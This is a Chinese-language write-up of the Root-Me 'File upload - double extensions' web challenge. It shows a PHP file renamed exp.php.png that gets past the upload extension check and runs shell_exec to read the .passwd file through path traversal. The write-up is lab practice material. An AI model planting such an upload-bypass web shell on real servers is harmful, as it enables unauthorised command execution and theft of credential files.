- 来源:Root-Me
- 题型:Web-Server
- 题目:File upload - double extensions
- 分数:20 Points
题目给出了两个提示:
- 双重后缀绕过(double extensions)
- 目标文件 .passwd 在 web 服务的根路径
上传一个图片测试一下,页面会给出图片的 URL 地址,点开后可以打开原图,猜测这或许是一个可利用点。
又从给出的 URL 地址知道,上传的文件距离 web 服务根目录的位置,因此可以构造一个路径穿越的 payloads 文件,文件名为 exp.php
:
<?php
// exp.php.png
// 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越
$content = shell_exec('cat ../../../.passwd');
echo "<pre>$content</pre>";
?>
但因为上传会检测文件后缀,无法直接上传。把文件更名为 exp.php.png
尝试绕过检测机制,上传成功。
上传成功后,打开这个伪造的图片文件,发现它被作为 php 文件解析了(应该是 web 设置的问题),成功获得密码,完成挑战。
答案下载
flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip
,然后解压即可(为了避免直接刷答案)